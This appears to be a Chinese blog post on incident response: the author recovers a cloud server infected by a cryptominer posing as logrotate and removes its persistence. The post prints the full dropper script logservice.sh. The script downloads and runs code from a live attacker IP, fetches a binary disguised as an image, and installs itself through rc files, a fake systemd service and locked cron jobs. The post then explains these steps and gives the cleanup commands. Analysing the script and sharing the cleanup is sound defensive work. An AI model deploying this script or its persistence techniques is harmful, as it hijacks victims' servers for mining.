二次记录服务器被(logrotate)木马入侵事件

现象:SSH失败、CPU满转

服务器ssh登录不上,一直处于登录中状态。

image.png

于是进入云服务器控制台,CPU打满状态,知道服务器被攻击了

image.png

腾讯云入侵检测,高危命令报警

image.png

排查过程

尝试 VNC 登录

由于SSH登录不上,进入云服务器控制台,尝试VNC登录,很遗憾也是进不去服务器,一直处于login登录中状态

image.png

单用户模式重启

重启服务器,在VNC控制台看到服务器无法重启一直锁死

 

sql

代码解读

复制代码

A start job is running for /etc/rc.d/local Compatibility

image.png

尝试单用户模式重启

参考 blog.csdn.net/qq_36025814…

什么是单用户模式呢?

单用户模式救援模式主要用于系统出现错误配置不能正常启动的时候,可以使用这两种模式来更改错误配置。还有就是当忘记root密码时就只有用这两种方式来强制更改密码。

使在此模式下和正常启动的系统差别不大以root身份运行,拥有最高权限可以对所有文件读写,只是不需要输入root密码,所以就可以实现强制更改密码。主要用在配置错误导致系统启动不了,或者root命令忘记时。注意这个模式下是没有网络连接的。

上面看到重启锁死,这个 /etc/rc.d/rc.local 文件是开机自启动shell脚本,通常会加上一些需要开启自启动的脚本,我们进入单用户模式来修改这个文件,看里面被篡改了什么

进入 VNC,发送 Ctrl+Alt+Delete 命令 重启服务器

image.png

按e进入启动内核

点击 确定,系统开机中,然后立即点击 e(多次点击启动内核)

image.png

修改初始化命令

进入后按到最后 增加 init=/bin/sh , 而且把原来 ro 或者 r\o 修改为 rw ,设置为文件可修改,否则提示只读,斜杠只是换行符不用管

image.png

启动进入单用户模式

按住 Ctrl + x ,即可进入单用户模式,对系统内文件进行操作。

在这里插入图片描述

修改 rc.local 文件

看到被病毒修改增加了脚本 logservice.sh,删除掉这句脚本

image.png

重启成功

修改完成后,执行 exec /sbin/init 退出单用户模式,启动成功。

重装SSH

此时发现ssh登录还是失败,通过VNC登录登录很久,十几二十分钟才进入到服务器。抓住机会。

为了能ssh登录,此时卸载ssh并重装

 

bash

代码解读

复制代码

# 可以通过这条命令查看卸载前后的openssh相关服务安装情况

rpm -qa openssh*

# 卸载 yum remove openssh*

# 安装 yum install -y openssh-server

# 启动服务 systemctl start sshd systemctl enable sshd

排查病毒

参考 blog.csdn.net/qq32933432/…

下载 logservice.sh 脚本分析

通过报警找到logservice.sh脚本地址 http://185.196.8.123/logservice.sh

js

代码解读

复制代码

#!/bin/sh { pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1 ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }' EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)" trap 'rm -- "$0"' EXIT if [ -z "${HOME+x}" ]; then export HOME=/tmp fi mkdir -p "$HOME/.config" >/dev/null 2>&1 [ ! -f "$HOME/.config/logrotate" ] && { ARCH=$(uname -m) URL="" [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png" [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png" [ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png" { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1 chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1 } pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate" add_to_startup() { if [ -r "$1" ]; then if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then echo "$EXEC >/dev/null 2>&1" >> "$1" fi fi } case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;; esac [ "$(id -u)" -eq 0 ] && { RCLOCAL='' [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local' [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local' [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL" cat >/etc/systemd/system/logrotate.service <<EOL [Unit] Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files [Service] ExecStart=$HOME/.config/logrotate Restart=always Nice=-20 StandardOutput=null [Install] WantedBy=multi-user.target EOL sudo systemctl daemon-reload 2>/dev/null sudo systemctl enable logrotate.service 2>/dev/null [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null }

这段脚本的大概解释

- 终止之前的xmrig实例:

尝试使用pkill或kill命令终止任何正在运行的名为“xmrig”的程序,并将任何错误或输出重定向到/dev/null(有效地将它们静音)。

- 终止高CPU使用率的进程:

通过结合使用ps、awk和kill来找出并终止未明确排除且消耗超过60% CPU的任何进程。

- 下载并执行远程脚本:

设置一个变量EXEC,用于获取并执行一个远程服务器(185.196.8.123:8080)上的脚本(logservice.sh)。

- 设置环境:

确保设置了HOME环境变量,如果未设置,默认为/tmp,并在HOME下准备一个.config目录。

- 根据架构下载并执行二进制文件:

检查系统架构并从同一远程服务器下载特定文件(假定为二进制文件),将其作为logrotate保存在.config目录中,然后使其可执行。

- 持久性机制:

将远程脚本执行添加到Bash和Zsh shell的启动文件中,以便每次启动shell会话时都会执行它。 还试图将此脚本插入各种系统级cron目录和systemd服务中,以确保它持续运行或定期检查,这有效地使其更难以移除,并确保它定期运行。

  • Cron和Systemd操纵:

设置了一个名为logrotate.service的systemd服务来运行下载的二进制文件,并尝试将执行命令添加到不同频率的各种cron目录(每小时、每天、每周、每月、每年)中,并使用chattr +i命令使这些脚本变为不可更改。

也就是说这段脚本会采用定时任务和开机启动项等方式,去远程下载一些文件,并把他们伪造成正常的logrotate服务来运行

查杀

知道了脚本的运作机制,就好解决了

删除病毒文件

使用ps -ef|grep logrotate可以看到这个病毒的目录,去把对应的文件删掉

image.png

先把他kill掉

 

bash

代码解读

复制代码

kill -9 16006

然后删除文件

 

bash

代码解读

复制代码

rm -rf /root/.config/logrotate

删除logrotate服务

使用top命令,找到名称为logrotate的服务,这个占用了大量CPU,把服务结束掉kill -9 id,有可能在删除了病毒文件之后top这里就看不到这个进程了

 

bash

代码解读

复制代码

# 先使用这个命令查看是否有服务

systemctl list-unit-files |grep logrotate.service

# 然后清除服务

systemctl disable logrotate.service

# 找到服务文件所在位置

find / -name logrotate.service

# 删除服务文件 rm -rf 上一句文件位置

清除定时任务

使用crontab -l会列出所有当前用户的定时任务,使用crontab -e把相关任务删掉保存,需要注意的是如果定时任务不在root用户则使用此命令看不到

打开文件 /etc/crontab , 编辑里面移除病毒相关的脚步命令,保存后执行 crontab /etc/crontab 生效

清除系统级别定时任务
 

bash

代码解读

复制代码

# 然后执行解锁命令,如果上面的ia就是-ai 如果是只用一个i就是-i

chattr -ai /etc/cron.hourly/logrotate;

chattr -ai /etc/cron.daily/logrotate;

chattr -ai /etc/cron.weekly/logrotate;

chattr -ai /etc/cron.monthly/logrotate;

chattr -ai /etc/cron.yearly/logrotate;

# 删除

rm -rf /etc/cron.hourly/logrotate;

rm -rf /etc/cron.daily/logrotate;

rm -rf /etc/cron.weekly/logrotate;

rm -rf /etc/cron.monthly/logrotate;

rm -rf /etc/cron.yearly/logrotate;

清除开机启动项

image.png

先查看 $HOME 是哪个目录

image.png

编辑这些文件,把异常信息删掉

image.png

修改云服务器安全组

只对一些ip和端口开放

到此,所有的清除工作就结束了,修改下密码,重启服务器应该就可以了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/434909.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker从入门到精通_01 Docker:引领云计算的新浪潮

Docker从入门到精通_01 Docker&#xff1a;引领云计算的新浪潮 云计算作为信息技术领域的重要支柱&#xff0c;正以前所未有的速度发展。然而&#xff0c;传统的虚拟化架构在资源利用、部署效率、应用扩展等方面已逐渐显露出其局限性。在这样的背景下&#xff0c;容器云技术应…

[大语言模型-论文精读] ACL2024-长尾知识在检索增强型大型语言模型中的作用

ACL2024-长尾知识在检索增强型大型语言模型中的作用 On the Role of Long-tail Knowledge in Retrieval Augmented Large Language Models Authors: Dongyang Li, Junbing Yan, Taolin Zhang, Chengyu Wang, Xiaofeng He, Longtao Huang, Hui Xue, Jun Huang 1.概览 问题解决&…

Hadoop三大组件之YARN(一)

YARN架构与任务提交流程详解 1. YARN的组成架构 YARN&#xff08;Yet Another Resource Negotiator&#xff09;是Hadoop生态系统中的一个重要组成部分&#xff0c;主要用于资源管理和调度。YARN的架构主要由以下几个关键组件构成&#xff1a; 1.1 ResourceManager&#xff…

Ubuntu24.04 yum安装

安装yum&#xff1a; sudo apt-get install yum 执行报错 E: Package yum has no installation candidate 解决&#xff1a;更换镜像源&#xff0c;找到自己的系统版本&#xff08;如本系统为Ubuntu24.04&#xff09;用vim进行更换&#xff0c;网址&#xff1a; ubuntu | 镜…

视频融合共享平台LntonAIServer视频智能分析抖动检测算法和过亮过暗检测算法

LntonAIServer作为一款智能视频监控平台&#xff0c;集成了多种先进的视频质量诊断功能&#xff0c;其中包括抖动检测和过暗检测算法。这些算法对于提升视频监控系统的稳定性和图像质量具有重要意义。 以下是对抖动检测算法和过暗检测算法的应用场景及优势的详细介绍。 一、L…

Vue.js组件开发指南

Vue.js组件开发指南 Vue.js 是一个渐进式的 JavaScript 框架&#xff0c;用于构建用户界面。它的核心是基于组件的开发模式。通过将页面分解为多个独立的、可复用的组件&#xff0c;开发者能够更轻松地构建复杂的应用。本文将深入探讨 Vue.js 组件开发的基础知识&#xff0c;并…

35 | 实战一(下):手把手带你将ID生成器代码从“能用”重构为“好用”

上篇文章中&#xff0c;我们结合 ID 生成器代码讲解了如何发现代码质量问题。虽然 ID 生成器的需求非常简单&#xff0c;代码行数也不多&#xff0c;但看似非常简单的代码&#xff0c;实际上还是有很多优化的空间。综合评价一下的话&#xff0c;小王的代码也只能算是“能用”、…

线上线下融合发展:开启商业新未来

在当今时代&#xff0c;线上与线下融合发展已成为商业领域的重要趋势。 线上通常指通过互联网等信息技术进行的商业活动&#xff0c;具有便捷、高效、覆盖面广等优势&#xff1b;线下则是传统实体商业活动&#xff0c;在体验、服务、信任度方面有独特价值。 线上与线下融合发展…

【RocketMQ】MQ与RocketMQ介绍

&#x1f3af; 导读&#xff1a;本文介绍了消息队列&#xff08;MQ&#xff09;的基本概念及其在分布式系统中的作用&#xff0c;包括实现异步通信、削峰限流和应用解耦等方面的优势&#xff0c;并对ActiveMQ、RabbitMQ、RocketMQ及Kafka四种MQ产品进行了对比分析&#xff0c;涵…

AIGC教程:如何用Stable Diffusion+ControlNet做角色设计?

前言 对于生成型AI的画图能力&#xff0c;尤其是AI画美女的能力&#xff0c;相信同行们已经有了充分的了解。然而&#xff0c;对于游戏开发者而言&#xff0c;仅仅是漂亮的二维图片实际上很难直接用于角色设计&#xff0c;因为&#xff0c;除了设计风格之外&#xff0c;角色设…

S32K312 RTD 4.0.0 版本 OCU 例程配置流程说明

一、前言 由于 RTD 4.0.0 版本并没有 S32K312 相关例程&#xff0c;本文基于已有的 S32K344 OCU 例程&#xff0c;新建 S32K312 工程&#xff0c;讲解 OCU 例程的相关配置流程。 二、基本概念 OCU&#xff08;Output Compare Unit – 输出比较单元&#xff09;本质上是一个计…

工业数据采集系统

一、网页部分代码 效果图&#xff1a; 代码实现&#xff1a; <!DOCTYPE html> <html lang"zh"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0&qu…

c语言200例 066

大家好&#xff0c;欢迎来到无限大的频道 今天给大家带来的是c语言200例。 要求&#xff1a; 根据输入的职业表示&#xff0c;区分是老师还是学生&#xff0c;然后根据输入的信息&#xff0c;将对应的信息输出&#xff0c;如果是学生&#xff0c;则输出班级&#xff0c;如果是…

电子连接器信号完整性仿真实训教程 一

电子连接器信号完整性仿真学习除需要熟悉软件的基本操作外&#xff0c;还需要基本的实际操作练习才能完全掌握&#xff0c;学以致用。因此推出几期实训教程&#xff0c;教程中将不再详细讲怎么一步一步操作软件&#xff0c;重点讲一些步骤&#xff0c;及一些技巧。也会将连接器…

人工值守向无人值守转变的智慧油站开源了

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒&#xff0c;省去繁琐重复的适配流程&#xff0c;实现芯片、算法、应用的全流程组合&#xff0c;从而大大减少企业级应用约95%的开发成本。用…

OpenCV图像文件读写(4)解码图像数据函数imdecode()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 从内存缓冲区读取图像。 imdecode 函数从指定的内存缓冲区读取图像。如果缓冲区太短或包含无效数据&#xff0c;函数将返回一个空矩阵 (Mat::dat…

基于STM32的无人驾驶汽车路径规划与视觉识别系统

目录 引言项目背景环境准备 硬件准备软件安装与配置系统设计 系统架构关键技术代码示例 摄像头图像采集与处理路径规划算法实现实时视觉障碍物检测电机控制与执行应用场景结论 1. 引言 无人驾驶技术是当前自动化和人工智能领域的热门课题之一&#xff0c;涉及到复杂的感知、…

(二)Mat类

构造函数 Mat m(3, 2, CV_8UC3, Scalar(0, 0, 255)); std::cout << m << std::endl;创建一个行数为3&#xff0c;列数为2&#xff0c;图像元素是8位无符号整型&#xff0c;且有3个通道&#xff0c;图像所有像素值被初始化为(0,0,255) opencv中默认的颜色顺序为BGR…

第五十八周周报 FE-GNN

文章目录 week58 FE-GNN摘要Abstract一、大数据相关1. 完全分布式zookeeper2. 污水处理过程2.1 污水处理的基本方法2.2 污水处理基本工艺流程 二、文献阅读1. 题目2. Abstract3. 文献解读3.1 Introduce3.2 创新点 4. 网络框架4.1 特征子空间平坦化4.2 结构化主成分4.3 结论 5. …

OJ在线评测系统 前端创建题目(增) 更新题目(改) 题目列表(查) 以及做题页面的开发 基于VUECLI脚手架画界面

目录 前端创建页面的开发一 创建一个路由 用acro design写 前端创建页面的开发二 题目管理页面 搜索 最終效果 题目更新页面的开发 携带参数的那种 修改路由 页码更新细节 我们先处理菜单项的权限控制和权限隐藏 在这里改 属性绑定一个函数 可以参考聚合搜索项目…